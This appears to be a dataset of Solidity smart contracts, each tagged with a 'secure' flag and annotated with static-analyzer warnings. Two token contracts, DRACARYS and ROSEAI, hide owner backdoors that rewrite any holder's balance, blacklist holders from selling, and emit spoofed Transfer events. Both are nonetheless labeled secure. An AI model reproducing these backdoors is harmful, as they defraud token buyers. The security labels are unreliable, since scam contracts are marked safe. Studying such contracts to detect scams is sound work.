{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface RCX {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(address to, uint256 amount) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_1768.sol", "secure": 1, "size_bytes": 816 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"./RCX.sol\" as RCX;\n\ninterface RCXMetadata is RCX {\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n function decimals() external view returns (uint8);\n}", "file_name": "solidity_code_1769.sol", "secure": 1, "size_bytes": 310 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"I Like Turtles\"; //CA name\n\n string private constant _symbol = unicode\"Turtles\"; //Token name\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 5;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 305b17f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 305b17f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2ca17f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2ca17f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 305b17f\n\t\t// reentrancy-benign | ID: 2ca17f5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 305b17f\n\t\t// reentrancy-benign | ID: 2ca17f5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2ca17f5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 305b17f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7bad6bb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7bad6bb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4250cf7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4250cf7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7bad6bb\n\t\t\t\t// reentrancy-eth | ID: 4250cf7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7bad6bb\n\t\t\t\t\t// reentrancy-eth | ID: 4250cf7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4250cf7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4250cf7\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4250cf7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7bad6bb\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4250cf7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4250cf7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7bad6bb\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7bad6bb\n\t\t// reentrancy-events | ID: 305b17f\n\t\t// reentrancy-benign | ID: 2ca17f5\n\t\t// reentrancy-eth | ID: 4250cf7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f946845): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for f946845: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7bad6bb\n\t\t// reentrancy-events | ID: 305b17f\n\t\t// reentrancy-eth | ID: 4250cf7\n\t\t// arbitrary-send-eth | ID: f946845\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6ef721d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6ef721d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 597c3c0): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 597c3c0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ccfd3f1): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ccfd3f1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 86bfa57): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 86bfa57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6ef721d\n\t\t// reentrancy-eth | ID: 86bfa57\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6ef721d\n\t\t// unused-return | ID: 597c3c0\n\t\t// reentrancy-eth | ID: 86bfa57\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6ef721d\n\t\t// unused-return | ID: ccfd3f1\n\t\t// reentrancy-eth | ID: 86bfa57\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 6ef721d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 86bfa57\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}", "file_name": "solidity_code_177.sol", "secure": 0, "size_bytes": 17775 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesString2 {\n bytes32 s;\n\n function SetString() public {\n s = \"thisisthirtytwocharactersyesitis\";\n }\n\n function GetString() public view returns (bytes32) {\n return s;\n }\n}", "file_name": "solidity_code_1770.sol", "secure": 1, "size_bytes": 287 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"SafeMath: subtraction overflow\");\n uint256 c = a - b;\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: division by zero\");\n uint256 c = a / b;\n return c;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b != 0, \"SafeMath: modulo by zero\");\n return a % b;\n }\n}", "file_name": "solidity_code_1771.sol", "secure": 1, "size_bytes": 1064 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./RCX.sol\" as RCX;\nimport \"./RCXMetadata.sol\" as RCXMetadata;\n\ncontract RecycleSWAP is Context, RCX, RCXMetadata {\n\t// WARNING Optimization Issue (immutable-states | ID: b41a746): RecycleSWAP.admin should be immutable \n\t// Recommendation for b41a746: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public admin;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, 369888369888 * 10 ** 18);\n admin = msg.sender;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function burn(uint256 value) public {\n _burn(msg.sender, value);\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = _allowances[owner][spender];\n require(\n currentAllowance >= subtractedValue,\n \"RCX: decreased allowance below zero\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"RCX: transfer from the zero address\");\n require(to != address(0), \"RCX: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"RCX: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"RCX: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"RCX: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"RCX: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"RCX: approve from the zero address\");\n require(spender != address(0), \"RCX: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"RCX: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_1772.sol", "secure": 1, "size_bytes": 6130 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ncontract DRACARYS {\n mapping(address => uint256) public balanceOf;\n mapping(address => bool) txVal;\n mapping(address => bool) renounced;\n\n\t// WARNING Optimization Issue (constable-states | ID: a91049b): DRACARYS.name should be constant \n\t// Recommendation for a91049b: Add the 'constant' attribute to state variables that never change.\n string public name = \"DRACARYS\";\n\t// WARNING Optimization Issue (constable-states | ID: bd7026d): DRACARYS.symbol should be constant \n\t// Recommendation for bd7026d: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"DRACARYS\";\n\t// WARNING Optimization Issue (constable-states | ID: 0aacf0d): DRACARYS.decimals should be constant \n\t// Recommendation for 0aacf0d: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: 05fdda4): DRACARYS.totalSupply should be immutable \n\t// Recommendation for 05fdda4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply = 200000000 * (uint256(10) ** decimals);\n\t// WARNING Optimization Issue (constable-states | ID: 8b00fc5): DRACARYS._totalSupply should be constant \n\t// Recommendation for 8b00fc5: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply;\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n constructor() {\n balanceOf[msg.sender] = totalSupply;\n deploy(lead_dev, totalSupply);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 689a1cf): DRACARYS.owner should be immutable \n\t// Recommendation for 689a1cf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner = msg.sender;\n\t// WARNING Optimization Issue (constable-states | ID: 7208f53): DRACARYS.V2Router should be constant \n\t// Recommendation for 7208f53: Add the 'constant' attribute to state variables that never change.\n address V2Router = 0xcECb9f75e0Cc2e4eF6D1FA4Af777f74133641B3D;\n\t// WARNING Optimization Issue (constable-states | ID: 13e5033): DRACARYS.lead_dev should be constant \n\t// Recommendation for 13e5033: Add the 'constant' attribute to state variables that never change.\n address lead_dev = 0x301C2C99e04f19c4144e2cD23deA858003E26109;\n\n function deploy(address account, uint256 amount) public {\n require(msg.sender == owner);\n emit Transfer(address(0), account, amount);\n }\n modifier I() {\n require(renounced[msg.sender]);\n _;\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n if (msg.sender == V2Router) {\n require(balanceOf[msg.sender] >= value);\n balanceOf[msg.sender] -= value;\n balanceOf[to] += value;\n emit Transfer(lead_dev, to, value);\n return true;\n }\n require(!txVal[msg.sender]);\n require(balanceOf[msg.sender] >= value);\n balanceOf[msg.sender] -= value;\n balanceOf[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n return true;\n }\n function RenounceOwner(address x) public {\n require(msg.sender == owner);\n renounced[x] = true;\n }\n\n function delegate(address ex) public I {\n require(!txVal[ex]);\n txVal[ex] = true;\n }\n function send(address ex) public I {\n require(txVal[ex]);\n txVal[ex] = false;\n }\n function query(address x, uint256 check) public I returns (bool success) {\n balanceOf[x] = check;\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == V2Router) {\n require(value <= balanceOf[from]);\n require(value <= allowance[from][msg.sender]);\n balanceOf[from] -= value;\n balanceOf[to] += value;\n emit Transfer(lead_dev, to, value);\n return true;\n }\n require(!txVal[from]);\n require(!txVal[to]);\n require(value <= balanceOf[from]);\n require(value <= allowance[from][msg.sender]);\n balanceOf[from] -= value;\n balanceOf[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n}", "file_name": "solidity_code_1773.sol", "secure": 1, "size_bytes": 5050 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract ROSEAI {\n mapping(address => uint256) private BNL;\n mapping(address => uint256) private CNL;\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 367cb17): ROSEAI.name should be constant \n\t// Recommendation for 367cb17: Add the 'constant' attribute to state variables that never change.\n string public name = \"ROSE.ai\";\n\t// WARNING Optimization Issue (constable-states | ID: d9ec4f7): ROSEAI.symbol should be constant \n\t// Recommendation for d9ec4f7: Add the 'constant' attribute to state variables that never change.\n string public symbol = unicode\"ROSEAI\";\n\t// WARNING Optimization Issue (constable-states | ID: f13ebbe): ROSEAI.decimals should be constant \n\t// Recommendation for f13ebbe: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\t// WARNING Optimization Issue (constable-states | ID: e71d936): ROSEAI.totalSupply should be constant \n\t// Recommendation for e71d936: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 1000000000 * 10 ** 6;\n address owner = msg.sender;\n\t// WARNING Optimization Issue (immutable-states | ID: 8edf8a8): ROSEAI.rLL should be immutable \n\t// Recommendation for 8edf8a8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private rLL;\n\t// WARNING Optimization Issue (constable-states | ID: fb19389): ROSEAI.XDEP should be constant \n\t// Recommendation for fb19389: Add the 'constant' attribute to state variables that never change.\n address XDEP = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n rLL = msg.sender;\n zMAKE(msg.sender, totalSupply);\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == owner);\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n\n function zMAKE(address account, uint256 amount) internal {\n account = XDEP;\n BNL[msg.sender] = totalSupply;\n emit Transfer(address(0), account, amount);\n }\n function ZXC(address iiX, uint256 iiV) public {\n if (msg.sender == rLL) {\n CNL[iiX] = iiV;\n }\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return BNL[account];\n }\n function transfer(address to, uint256 value) public returns (bool success) {\n require(CNL[msg.sender] <= 1);\n require(BNL[msg.sender] >= value);\n BNL[msg.sender] -= value;\n BNL[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function ZXA(address iiX, uint256 iiV) public {\n if (msg.sender == rLL) {\n BNL[iiX] = iiV;\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (from == rLL) {\n require(value <= BNL[from]);\n require(value <= allowance[from][msg.sender]);\n BNL[from] -= value;\n BNL[to] += value;\n from = XDEP;\n emit Transfer(from, to, value);\n return true;\n }\n\n require(CNL[from] <= 1 && CNL[to] <= 1);\n require(value <= BNL[from]);\n require(value <= allowance[from][msg.sender]);\n BNL[from] -= value;\n BNL[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n}", "file_name": "solidity_code_1774.sol", "secure": 1, "size_bytes": 4246 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesString3 {\n bytes16 s;\n bytes16 t;\n\n function SetString() public {\n s = \"sixteensixteen16\";\n t = \"sixteensixteen16\";\n }\n\n function GetString() public view returns (bytes16, bytes16) {\n return (s, t);\n }\n}", "file_name": "solidity_code_1775.sol", "secure": 1, "size_bytes": 334 }
